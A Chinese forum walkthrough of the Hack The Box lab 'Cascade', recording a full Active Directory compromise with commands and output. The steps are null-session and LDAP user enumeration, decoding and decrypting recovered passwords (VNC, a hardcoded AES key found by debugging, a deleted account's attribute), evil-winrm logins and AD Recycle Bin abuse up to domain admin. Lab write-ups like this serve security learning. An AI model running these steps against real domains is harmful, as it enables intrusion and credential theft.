zhaorong 发表于 2022-12-9 11:55:15

Hack The Box 系列域渗透之靶机Cascade

AD-Cascade

0x00 前言

最近在学域渗透,决定把Hack The Box的Active Directory 101 系列域渗透靶机打完并详细记录当中
用到的工具、知识点及其背后的原理。本篇文章是该系列的第八篇,靶机名字为Cascade。

0x01 信息搜集

Nmap scan report for 10.10.10.182
Host is up (0.23s latency).
Not shown: 65520 filtered ports
PORT      STATE SERVICE       VERSION
53/tcp    opendomain      Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    openkerberos-secMicrosoft Windows Kerberos (server time: 2022-11-29 03:19:33Z)
135/tcp   openmsrpc         Microsoft Windows RPC
139/tcp   opennetbios-ssn   Microsoft Windows netbios-ssn
389/tcp   openldap          Microsoft Windows Active Directory LDAP (Domain:
cascade.local, Site: Default-First-Site-Name)
445/tcp   openmicrosoft-ds?
636/tcp   opentcpwrapped
3268/tcpopenldap          Microsoft Windows Active Directory LDAP (Domain:
cascade.local, Site: Default-First-Site-Name)
3269/tcpopentcpwrapped
5985/tcpopenhttp          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49154/tcp openmsrpc         Microsoft Windows RPC
49155/tcp openmsrpc         Microsoft Windows RPC
49157/tcp openncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp openmsrpc         Microsoft Windows RPC
49170/tcp openmsrpc         Microsoft Windows RPC
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_ser
ver_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -1s
| smb2-security-mode:
|   2.02:
|_    Message signing enabled and required
| smb2-time:
|   date: 2022-11-29T03:20:40
|_start_date: 2022-11-29T01:11:22

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1282.33 seconds

从上面nmap扫描结果中我们可以提取到一个域名:cascade.local

接下来上市rpc空连接,发现可以连上,并且成功枚举得到了很多用户名

rpcclient -U '' -N 10.10.10.182


CascGuest
arksvc
s.smith]
r.thompson
util
j.wakefield
s.hickson
j.goodhand
a.turnbull
e.crowe
b.hanson
d.burman
BackupSvc
j.allen
i.croft

尝试使用ldapsearch进行信息搜集

ldapsearch -x -b "dc=cascade,dc=local" -H ldap://10.10.10.182 >result.txt
ldapsearch -x -b "DC=cascade,DC=local" '(objectClass=person)' -H ldap://10.10.10.182 > ldap-people.txt


成功在搜集的结果中找到了r.thompson用户的密码

echo clk0bjVldmE= |base64 -d

#得到用户r.thompson的密码:rY4n5eva

crackmapexec winrm 10.10.10.182 -u r.thompson -p rY4n5eva

测试发现无法通过winrm远程登录


查看r.thompson可以访问的SMB目录

crackmapexec smb 10.10.10.182 -u "r.thompson" -p "rY4n5eva" --shares


以r.thompson用户身份访问Data目录,并将Data目录下的所有文件下载到本地

smbclient --user r.thompson //10.10.10.182/data rY4n5eva    #以r.thompson用户身份访问Data目录
smb: \> mask ""
smb: \> recurse ON   #默认情况下递归选项是OFF,在 smb 提示符下输入 recurse ON命令会将此选项切换为ON
smb: \> prompt OFF   #默认情况下询问是否下载选项是ON,在 smb 提示符下输入prompt OFF
命令会将此选项切换为OFF
smb: \> mget *    #此时可以在不询问的情况下递归下载data目录下的所有文件

0x02 破解TightVNC密码

在本地查看Data目录下下载的文件,在IT/Temp/s.smith目录的Install.reg文件中找到了一个vnc密码


我知道这个密码是被加密过后的而并非明文,所以我尝试用Google搜索解密方法,并且找到了一个可以
用于解密VNC密码的工具


#https://github.com/jeroennijhof/vncpwd                                                      #vnc密码解密工具
echo '6bcf2a4b6e5aca0f' | xxd -r -p > vnc_enc_pass                       
gcc -o vncpwd vncpwd.c d3des.c
chmod 777 vncpwd
./vncpwd vnc_enc_pass
#我们也可以只使用 Bash 技巧将命令输出视为文件的内容<( ):
./vncpwd <(echo '6bcf2a4b6e5aca0f' | xxd -r -p)


此时我们获得了一个密码,我猜测它可能是s.smith用户的密码,不过我并没有急着去尝试,我又在如下的文件中
发现了一封邮件,从邮件中,可以获取到的有效信息是,存在一个临时账户TempAdmin并且密码和正常的管理员
账户是同一个,那么我们在接下来的渗透过程中也可以注意这个账号

root@kali2020:~/IT/Email Archives# cat Meeting_Notes_June_2018.html
<html>
<body lang=EN-GB link=blue vlink=purple style='tab-interval:36.0pt'>
<div class=WordSection1>
···
···
···
<p>-- We will be using a temporary account to
perform all tasks related to the network migration and this account will be deleted at the end of
2018 once the migration is complete. This will allow us to identify actions
related to the migration in security logs etc. Username is TempAdmin (password is the same
as the normal admin account password). </p>
<p>-- The winner of the �Best GPO� competition will be
announced on Friday so get your submissions in soon.</p>

···
···
···

</div>
</body>
</html>

通过使用crackmapexec测试发现的确可以使用密码:sT333ve2通过winRM用s.smith账号进行远程登录

crackmapexec winrm 10.10.10.182 -u s.smith -p sT333ve2


evil-winrm -u s.smith -p 'sT333ve2' -i 10.10.10.182


成功登录到s.smith用户后,发现该用户属于Audit Share组


由于Audit Share组并非windows经典的权限组,所以我又查看了该组的成员发现只有该用户


那么接下来我使用以下命令将s.smith用户可以访问的Audit目录下的所有文件下载到本地并进行挨个查看

smbclient --user s.smith //10.10.10.182/Audit$ sT333ve2
smb: \> mask ""
smb: \> recurse ON            #默认情况下递归选项是OFF,在 smb 提示符下输入 recurse ON命令会将此选项切换为ON
smb: \> prompt OFF            #默认情况下询问是否下载选项是ON,在 smb 提示符下输入prompt OFF命令
会将此选项切换为OFF
smb: \> mget *                #此时可以在不询问的情况下递归下载data目录下的所有文件
getting file \CascAudit.exe of size 13312 as CascAudit.exe (191.2 KiloBytes/sec) (average 191.2 KiloBytes/sec)
getting file \CascCrypto.dll of size 12288 as CascCrypto.dll (206.9 KiloBytes/sec) (average 198.4 KiloBytes/sec)
getting file \DB\Audit.db of size 24576 as Audit.db (461.5 KiloBytes/sec) (average 275.3 KiloBytes/sec)
getting file \RunAudit.bat of size 45 as RunAudit.bat (0.8 KiloBytes/sec) (average 213.2 KiloBytes/sec)
getting file \System.Data.SQLite.dll of size 363520 as System.Data.SQLite.dll (3317.8 KiloB
ytes/sec) (average 1198.9 KiloBytes/sec)
getting file \System.Data.SQLite.EF6.dll of size 186880 as System.Data.SQLite.EF6.dll (356.4
KiloBytes/sec) (average 690.9 KiloBytes/sec)
getting file \x64\SQLite.Interop.dll of size 1639936 as SQLite.Interop.dll (4411.8 KiloBytes/sec)
(average 1805.3 KiloBytes/sec)
getting file \x86\SQLite.Interop.dll of size 1246720 as SQLite.Interop.dll (4629.3 KiloBytes/sec)
(average 2308.8 KiloBytes/sec)

0x03 审计SQLlite数据库

我首先看到的是DB\Audit.db这是一个 SQLite3 数据库:


我认为该Ldap表可能有密码,但 base64 编码的数据没有解码为 ASCII。也许它以某种方式加密。

0x04 CascAudit.exe的调试

RunAudit.bat显示CascAudit.exe以 db 文件作为参数运行

root@kali2020# cat RunAudit.bat
CascAudit.exe "\\CASC-DC1\Audit$\DB\Audit.db"
接下来我们把CascAudit.exe和Audit.db放到window中进行查看,我们在 MailModule
中发现有这样的代码:

namespace CascAudiot
{
// Token: 0x02000008 RID: 8

internal sealed class MainModule
{
    // Token: 0x0600000F RID: 15 RVA: 0x00002128 File Offset: 0x00000328
   
    public static void Main()
    {
      if (MyProject.Application.CommandLineArgs.Count != 1)
      {
      Console.WriteLine("Invalid number of command line args specified.
Must specify database path only");
      return;
      }
      checked
      {
      using (SQLiteConnection sqliteConnection = new SQLiteConne
ction("Data Source=" + MyProje
ct.Application.CommandLineArgs + ";Version=3;"))
      {
          string str = string.Empty;
          string password = string.Empty;
          string str2 = string.Empty;
          try
          {
            sqliteConnection.Open();
            using (SQLiteCommand sqliteCommand = new SQLiteCommand("SELECT *
FROM LDAP", sqliteConnection))
            {
            using (SQLiteDataReader sqliteDataReader = sqliteCommand.ExecuteReader())
            {
                sqliteDataReader.Read();
                str = Conversions.ToString(sqliteDataReader["Uname"]);
                str2 = Conversions.ToString(sqliteDataReader["Domain"]);
                string encryptedString = Conversions.ToString(sqliteDataReader["Pwd"]);
                try
                {
                  password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");
                }
                catch (Exception ex)
                {
                  Console.WriteLine("Error decrypting password: " + ex.Message);
                  return;
                }
            }
            }
            sqliteConnection.Close();
          }
          catch (Exception ex2)
          {
            Console.WriteLine("Error getting LDAP connection data From database: " + ex2.Message);
            return;
          }
......

我决定通过调试恢复明文密码。我在 SQL 连接关闭的第 53 行放置了一个断点。然后我去 Debug ->
Start Debugging...,并将 Arugument 设置到我有一份副本的地方Audit.db


点击 OK 后,它运行到断点,我可以在 Locals 窗口中看到解密的密码:


根据 SQLite 数据库中的行,此密码w3lc0meFr31nd可能与帐户 arksvc 配对。

crackmapexec表明不仅密码有效,而且会提供一个 WinRM shell:

crackmapexec winrm 10.10.10.182 -u arksvc -p w3lc0meFr31nd


evil-winrm -u arksvc -p "w3lc0meFr31nd" -i 10.10.10.182

0x05 AD Recycle Bin权限的滥用

AD Recycle Bin是一个著名的 Windows 组。Active Directory 对象恢复(或回收站)是 Server 2008 中添加的
一项功能允许管理员恢复已删除的项目就像回收站对文件所做的一样。链接的文章提供了一个 PowerShell 命令
来查询域中所有已删除的对象:


Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects

最后一条比较有意思,因为它是我之前找到的旧电子邮件中提到的临时管理员帐户(之前我们发现的那封邮件还
提到了TempAdmin用户使用了与正常管理员帐户相同的密码)。


我可以获得该帐户的所有详细信息:

Get-ADObject -filter { SAMAccountName -eq "TempAdmin" } -includeDelete
dObjects -property *


我们发现了该用户的密码,尝试解密后成功得到了TempAdmin用户的密码

YmFDVDNyMWFOMDBkbGVz

echo YmFDVDNyMWFOMDBkbGVz | base64 -d

crackmapexec查看发现得到的密码可以通过winrm远程登录到admin用户

crackmapexec winrm 10.10.10.182 -u administrator -p baCT3r1aN00dles

evil-winrm -u administrator -p baCT3r1aN00dles -i 10.10.10.182



至此,我们已经拿到了域管权限,这台靶机的渗透到这里就结束了。

0x06 总结

首先我们通过ldap进行信息搜集,发现了r.thompson用户的密码,通过访问r.thompson用户可以查看的SMB共享我们
获得了一封邮件以及用户s.smith用户的VNC密码(被加密了),后续我们通过Google找到了可以破解该密码的工具并
成功得到 s.smith用户的密码,又通过该用户可以访问的SMB共享,得到了一个SQLlite数据库文件,通过访问该数据库
文件发现了arksvc用户的密码,但是该密码被加密了,后面我们通过RunAudit.bat,发现了Audit.db与CascAudit.exe
的关系,接着在windows环境下,通过下断点的方式调试,得到了arksvc用户的密码,然后通过该用户的AD Recycle
Bin组的权限,成功恢复并得到了被删除的TempAdmin用户的密码,又由于前面邮件中提到的,该用户的密码与admin
用户的密码一致,最终通过evil-winrm远程登录拿到了域管的shell。
页: [1]
查看完整版本: Hack The Box 系列域渗透之靶机Cascade